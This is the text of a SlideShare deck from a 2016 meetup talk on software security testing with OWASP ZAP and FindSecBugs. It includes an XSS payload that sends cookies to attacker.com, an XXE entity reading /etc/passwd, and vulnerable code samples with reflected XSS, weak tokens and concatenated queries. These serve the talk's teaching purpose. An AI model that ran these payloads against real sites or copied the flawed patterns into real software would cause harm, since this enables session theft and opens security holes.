SlideShare a Scribd company logo
1 of 12
Download to read offline
Not Just POP-UPs :)
Analyzing Security in Software Products
By Prakhash Sivakumar
https://medium.com/@PrakhashS
https://www.linkedin.com/in/prakhashsiva
WSO2 Meetup- Thursday, September 22, 2016
http://www.meetup.com/wso2srilanka/events/233915649/
Haven’t you seen this ?
XSS DEMO
What if we modify the script like this ?
</div><script>
var oReq = new XMLHttpRequest();
oReq.open("GET",
"//attacker.com/log.php?data"+encodeURI(document.cookie),true);
oReq.send();
</script>
Insecure coding :(
<form action="xss4.jsp" method="get">
<input type="text" name="keyword" value=<% if (keyword !=
null){ out.print(keyword);} %>>
<br/><br/><input type="submit" name="Search"
value="Search"/>
</form>
<br/>
<%
if (keyword != null)
{
%>
Search Results for <%=keyword%>
<%
}
%>
What else can an insecure code would do
?
Dynamic code analysis and OWASP ZAP
[1] https://www.owasp.org/index.php/Top10#OWASP_Top_10_for_2013
[2] https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
Identifying vulnerabilities using OWASP ZAP
DEMO
Dynamic Scanning with OWASP ZAP for Identifying Security Threats : Complete Guide
https://medium.com/@PrakhashS/dynamic-scanning-with-owasp-zap-for-identifying-security-threats-complete-guide-52b3643eee04#.9zu0v
cpy0
Static code analysis - Find Sec Bugs
String generateSecretToken() {
Random r = new Random();
return Long.toHexString(r.nextLong());
}
--------------------------------------------------------------------
-
def executeCommand(value:String) = Action {
val result = "".!
Ok("Result:n"+result)
}
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<foo>&xxe;</foo>
--------------------------------------------------------------------
-
Session session = sessionFactory.openSession();
Query q = session.createQuery("select t from
UserEntity t where id = " + input);
q.execute();
http://find-sec-bugs.github.io/bugs.htm
Identifying vulnerabilities in code using
FindSecBugs
Demo
Static Code Analysis for Java using FindBugs Plugin and Identifying Security Bugs with FindSecurityBugs Plugin
http://tharindue.blogspot.com/2016/06/static-code-analysis-for-java-using.html
What is Legal ?
What you can do ?
ThAnK yOu :)

More Related Content

What's hot

Google analyticspresncsuwebdev
Google analyticspresncsuwebdevGoogle analyticspresncsuwebdev
Google analyticspresncsuwebdev
Nick Young
 

What's hot (9)

Cross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxCross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert Box
 
XSS
XSSXSS
XSS
 
Integrity protection for third-party JavaScript
Integrity protection for third-party JavaScriptIntegrity protection for third-party JavaScript
Integrity protection for third-party JavaScript
 
Xss talk, attack and defense
Xss talk, attack and defenseXss talk, attack and defense
Xss talk, attack and defense
 
Javascript Security
Javascript SecurityJavascript Security
Javascript Security
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
 
Beyond xss (SheHacks Nairobi 2018)
Beyond xss (SheHacks Nairobi 2018)Beyond xss (SheHacks Nairobi 2018)
Beyond xss (SheHacks Nairobi 2018)
 
Subresource Integrity
Subresource IntegritySubresource Integrity
Subresource Integrity
 
Google analyticspresncsuwebdev
Google analyticspresncsuwebdevGoogle analyticspresncsuwebdev
Google analyticspresncsuwebdev
 

Viewers also liked

Sickle Cell Ministries PP-1
Sickle Cell Ministries PP-1Sickle Cell Ministries PP-1
Sickle Cell Ministries PP-1
Zachary Moore
 
Control freaks nieslens10heuristics_1215.pptx
Control freaks nieslens10heuristics_1215.pptxControl freaks nieslens10heuristics_1215.pptx
Control freaks nieslens10heuristics_1215.pptx
Kira440
 
general media kit 9-16-15
general media kit 9-16-15general media kit 9-16-15
general media kit 9-16-15
Tiffany W
 

Viewers also liked (18)

Katherine mallqui saenz
Katherine mallqui saenzKatherine mallqui saenz
Katherine mallqui saenz
 
Sickle Cell Ministries PP-1
Sickle Cell Ministries PP-1Sickle Cell Ministries PP-1
Sickle Cell Ministries PP-1
 
SLIDESHARE
SLIDESHARESLIDESHARE
SLIDESHARE
 
ล่าสุดทาง
ล่าสุดทางล่าสุดทาง
ล่าสุดทาง
 
La tierra
La tierraLa tierra
La tierra
 
Revelacion de la Cena del Senor
Revelacion de la Cena del SenorRevelacion de la Cena del Senor
Revelacion de la Cena del Senor
 
Presentación1
Presentación1Presentación1
Presentación1
 
model 2
model 2model 2
model 2
 
Polimorfismo cosa?
Polimorfismo cosa?Polimorfismo cosa?
Polimorfismo cosa?
 
Management of innovations : from idea to effect
Management of innovations : from idea to effectManagement of innovations : from idea to effect
Management of innovations : from idea to effect
 
CONCURSO DE HABILIDADES MATEMÁTICAS II
CONCURSO DE HABILIDADES MATEMÁTICAS IICONCURSO DE HABILIDADES MATEMÁTICAS II
CONCURSO DE HABILIDADES MATEMÁTICAS II
 
Marketing Brochure Smart Campus
Marketing Brochure Smart CampusMarketing Brochure Smart Campus
Marketing Brochure Smart Campus
 
Rock the deals
Rock the dealsRock the deals
Rock the deals
 
model
modelmodel
model
 
Control freaks nieslens10heuristics_1215.pptx
Control freaks nieslens10heuristics_1215.pptxControl freaks nieslens10heuristics_1215.pptx
Control freaks nieslens10heuristics_1215.pptx
 
general media kit 9-16-15
general media kit 9-16-15general media kit 9-16-15
general media kit 9-16-15
 
Yobitel communicaitons Smart Campus
Yobitel communicaitons   Smart CampusYobitel communicaitons   Smart Campus
Yobitel communicaitons Smart Campus
 
Tratado de versalles
Tratado de versallesTratado de versalles
Tratado de versalles
 

Similar to Not just popups- Jaffna meetup

.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
NETFest
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure coding
Haitham Raik
 
HTML5 - The 2012 of the Web - Adobe MAX
HTML5 - The 2012 of the Web - Adobe MAXHTML5 - The 2012 of the Web - Adobe MAX
HTML5 - The 2012 of the Web - Adobe MAX
Robert Nyman
 
HTML5 - The 2012 of the Web
HTML5 - The 2012 of the WebHTML5 - The 2012 of the Web
HTML5 - The 2012 of the Web
Robert Nyman
 

Similar to Not just popups- Jaffna meetup (20)

ASP.NET Web Security
ASP.NET Web SecurityASP.NET Web Security
ASP.NET Web Security
 
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
 
Webpack packing it all
Webpack packing it allWebpack packing it all
Webpack packing it all
 
Packing it all: JavaScript module bundling from 2000 to now
Packing it all: JavaScript module bundling from 2000 to nowPacking it all: JavaScript module bundling from 2000 to now
Packing it all: JavaScript module bundling from 2000 to now
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
Guia de Sobrevivência JS no mundo Open Source
Guia de Sobrevivência JS no mundo Open SourceGuia de Sobrevivência JS no mundo Open Source
Guia de Sobrevivência JS no mundo Open Source
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure coding
 
Security: Odoo Code Hardening
Security: Odoo Code HardeningSecurity: Odoo Code Hardening
Security: Odoo Code Hardening
 
2013 05-03 - HTML5 & JavaScript Security
2013 05-03 -  HTML5 & JavaScript Security2013 05-03 -  HTML5 & JavaScript Security
2013 05-03 - HTML5 & JavaScript Security
 
Web Application Security in Rails
Web Application Security in RailsWeb Application Security in Rails
Web Application Security in Rails
 
Internet and Web Technology (CLASS-8) [jQuery and JSON] | NIC/NIELIT Web Tech...
Internet and Web Technology (CLASS-8) [jQuery and JSON] | NIC/NIELIT Web Tech...Internet and Web Technology (CLASS-8) [jQuery and JSON] | NIC/NIELIT Web Tech...
Internet and Web Technology (CLASS-8) [jQuery and JSON] | NIC/NIELIT Web Tech...
 
A simple html login page using java s
A simple html login page using java sA simple html login page using java s
A simple html login page using java s
 
Breaking Bad CSP
Breaking Bad CSPBreaking Bad CSP
Breaking Bad CSP
 
HTML5 - The 2012 of the Web - Adobe MAX
HTML5 - The 2012 of the Web - Adobe MAXHTML5 - The 2012 of the Web - Adobe MAX
HTML5 - The 2012 of the Web - Adobe MAX
 
HTML5 - The 2012 of the Web
HTML5 - The 2012 of the WebHTML5 - The 2012 of the Web
HTML5 - The 2012 of the Web
 
Webové aplikace v JavaScriptu
Webové aplikace v JavaScriptuWebové aplikace v JavaScriptu
Webové aplikace v JavaScriptu
 
Practice of AppSec .NET
Practice of AppSec .NETPractice of AppSec .NET
Practice of AppSec .NET
 
Neoito — Secure coding practices
Neoito — Secure coding practicesNeoito — Secure coding practices
Neoito — Secure coding practices
 
Modern Web Application Defense
Modern Web Application DefenseModern Web Application Defense
Modern Web Application Defense
 

Recently uploaded

Call Girls in Ramesh Nagar Delhi 💯 Call Us 🔝9953056974 🔝 Escort Service
Call Girls in Ramesh Nagar Delhi 💯 Call Us 🔝9953056974 🔝 Escort ServiceCall Girls in Ramesh Nagar Delhi 💯 Call Us 🔝9953056974 🔝 Escort Service
Call Girls in Ramesh Nagar Delhi 💯 Call Us 🔝9953056974 🔝 Escort Service
9953056974 Low Rate Call Girls In Saket, Delhi NCR
 
notes on Evolution Of Analytic Scalability.ppt
notes on Evolution Of Analytic Scalability.pptnotes on Evolution Of Analytic Scalability.ppt
notes on Evolution Of Analytic Scalability.ppt
MsecMca
 
Integrated Test Rig For HTFE-25 - Neometrix
Integrated Test Rig For HTFE-25 - NeometrixIntegrated Test Rig For HTFE-25 - Neometrix
Integrated Test Rig For HTFE-25 - Neometrix
Neometrix_Engineering_Pvt_Ltd
 
VIP Call Girls Palanpur 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Palanpur 7001035870 Whatsapp Number, 24/07 BookingVIP Call Girls Palanpur 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Palanpur 7001035870 Whatsapp Number, 24/07 Booking
dharasingh5698
 
VIP Call Girls Ankleshwar 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Ankleshwar 7001035870 Whatsapp Number, 24/07 BookingVIP Call Girls Ankleshwar 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Ankleshwar 7001035870 Whatsapp Number, 24/07 Booking
dharasingh5698
 

Recently uploaded (20)

Water Industry Process Automation & Control Monthly - April 2024
Water Industry Process Automation & Control Monthly - April 2024Water Industry Process Automation & Control Monthly - April 2024
Water Industry Process Automation & Control Monthly - April 2024
 
Hazard Identification (HAZID) vs. Hazard and Operability (HAZOP): A Comparati...
Hazard Identification (HAZID) vs. Hazard and Operability (HAZOP): A Comparati...Hazard Identification (HAZID) vs. Hazard and Operability (HAZOP): A Comparati...
Hazard Identification (HAZID) vs. Hazard and Operability (HAZOP): A Comparati...
 
VIP Model Call Girls Kothrud ( Pune ) Call ON 8005736733 Starting From 5K to ...
VIP Model Call Girls Kothrud ( Pune ) Call ON 8005736733 Starting From 5K to ...VIP Model Call Girls Kothrud ( Pune ) Call ON 8005736733 Starting From 5K to ...
VIP Model Call Girls Kothrud ( Pune ) Call ON 8005736733 Starting From 5K to ...
 
Call Girls in Ramesh Nagar Delhi 💯 Call Us 🔝9953056974 🔝 Escort Service
Call Girls in Ramesh Nagar Delhi 💯 Call Us 🔝9953056974 🔝 Escort ServiceCall Girls in Ramesh Nagar Delhi 💯 Call Us 🔝9953056974 🔝 Escort Service
Call Girls in Ramesh Nagar Delhi 💯 Call Us 🔝9953056974 🔝 Escort Service
 
notes on Evolution Of Analytic Scalability.ppt
notes on Evolution Of Analytic Scalability.pptnotes on Evolution Of Analytic Scalability.ppt
notes on Evolution Of Analytic Scalability.ppt
 
Thermal Engineering-R & A / C - unit - V
Thermal Engineering-R & A / C - unit - VThermal Engineering-R & A / C - unit - V
Thermal Engineering-R & A / C - unit - V
 
data_management_and _data_science_cheat_sheet.pdf
data_management_and _data_science_cheat_sheet.pdfdata_management_and _data_science_cheat_sheet.pdf
data_management_and _data_science_cheat_sheet.pdf
 
chapter 5.pptx: drainage and irrigation engineering
chapter 5.pptx: drainage and irrigation engineeringchapter 5.pptx: drainage and irrigation engineering
chapter 5.pptx: drainage and irrigation engineering
 
Work-Permit-Receiver-in-Saudi-Aramco.pptx
Work-Permit-Receiver-in-Saudi-Aramco.pptxWork-Permit-Receiver-in-Saudi-Aramco.pptx
Work-Permit-Receiver-in-Saudi-Aramco.pptx
 
Integrated Test Rig For HTFE-25 - Neometrix
Integrated Test Rig For HTFE-25 - NeometrixIntegrated Test Rig For HTFE-25 - Neometrix
Integrated Test Rig For HTFE-25 - Neometrix
 
COST-EFFETIVE and Energy Efficient BUILDINGS ptx
COST-EFFETIVE  and Energy Efficient BUILDINGS ptxCOST-EFFETIVE  and Energy Efficient BUILDINGS ptx
COST-EFFETIVE and Energy Efficient BUILDINGS ptx
 
Double Revolving field theory-how the rotor develops torque
Double Revolving field theory-how the rotor develops torqueDouble Revolving field theory-how the rotor develops torque
Double Revolving field theory-how the rotor develops torque
 
VIP Call Girls Palanpur 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Palanpur 7001035870 Whatsapp Number, 24/07 BookingVIP Call Girls Palanpur 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Palanpur 7001035870 Whatsapp Number, 24/07 Booking
 
Unit 1 - Soil Classification and Compaction.pdf
Unit 1 - Soil Classification and Compaction.pdfUnit 1 - Soil Classification and Compaction.pdf
Unit 1 - Soil Classification and Compaction.pdf
 
University management System project report..pdf
University management System project report..pdfUniversity management System project report..pdf
University management System project report..pdf
 
Design For Accessibility: Getting it right from the start
Design For Accessibility: Getting it right from the startDesign For Accessibility: Getting it right from the start
Design For Accessibility: Getting it right from the start
 
Bhosari ( Call Girls ) Pune 6297143586 Hot Model With Sexy Bhabi Ready For ...
Bhosari ( Call Girls ) Pune  6297143586  Hot Model With Sexy Bhabi Ready For ...Bhosari ( Call Girls ) Pune  6297143586  Hot Model With Sexy Bhabi Ready For ...
Bhosari ( Call Girls ) Pune 6297143586 Hot Model With Sexy Bhabi Ready For ...
 
VIP Call Girls Ankleshwar 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Ankleshwar 7001035870 Whatsapp Number, 24/07 BookingVIP Call Girls Ankleshwar 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Ankleshwar 7001035870 Whatsapp Number, 24/07 Booking
 
Thermal Engineering Unit - I & II . ppt
Thermal Engineering  Unit - I & II . pptThermal Engineering  Unit - I & II . ppt
Thermal Engineering Unit - I & II . ppt
 
A Study of Urban Area Plan for Pabna Municipality
A Study of Urban Area Plan for Pabna MunicipalityA Study of Urban Area Plan for Pabna Municipality
A Study of Urban Area Plan for Pabna Municipality
 

Not just popups- Jaffna meetup

  • 1. Not Just POP-UPs :) Analyzing Security in Software Products By Prakhash Sivakumar https://medium.com/@PrakhashS https://www.linkedin.com/in/prakhashsiva WSO2 Meetup- Thursday, September 22, 2016 http://www.meetup.com/wso2srilanka/events/233915649/
  • 4. What if we modify the script like this ? </div><script> var oReq = new XMLHttpRequest(); oReq.open("GET", "//attacker.com/log.php?data"+encodeURI(document.cookie),true); oReq.send(); </script>
  • 5. Insecure coding :( <form action="xss4.jsp" method="get"> <input type="text" name="keyword" value=<% if (keyword != null){ out.print(keyword);} %>> <br/><br/><input type="submit" name="Search" value="Search"/> </form> <br/> <% if (keyword != null) { %> Search Results for <%=keyword%> <% } %>
  • 6. What else can an insecure code would do ?
  • 7. Dynamic code analysis and OWASP ZAP [1] https://www.owasp.org/index.php/Top10#OWASP_Top_10_for_2013 [2] https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
  • 8. Identifying vulnerabilities using OWASP ZAP DEMO Dynamic Scanning with OWASP ZAP for Identifying Security Threats : Complete Guide https://medium.com/@PrakhashS/dynamic-scanning-with-owasp-zap-for-identifying-security-threats-complete-guide-52b3643eee04#.9zu0v cpy0
  • 9. Static code analysis - Find Sec Bugs String generateSecretToken() { Random r = new Random(); return Long.toHexString(r.nextLong()); } -------------------------------------------------------------------- - def executeCommand(value:String) = Action { val result = "".! Ok("Result:n"+result) } <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <foo>&xxe;</foo> -------------------------------------------------------------------- - Session session = sessionFactory.openSession(); Query q = session.createQuery("select t from UserEntity t where id = " + input); q.execute(); http://find-sec-bugs.github.io/bugs.htm
  • 10. Identifying vulnerabilities in code using FindSecBugs Demo Static Code Analysis for Java using FindBugs Plugin and Identifying Security Bugs with FindSecurityBugs Plugin http://tharindue.blogspot.com/2016/06/static-code-analysis-for-java-using.html
  • 11. What is Legal ? What you can do ?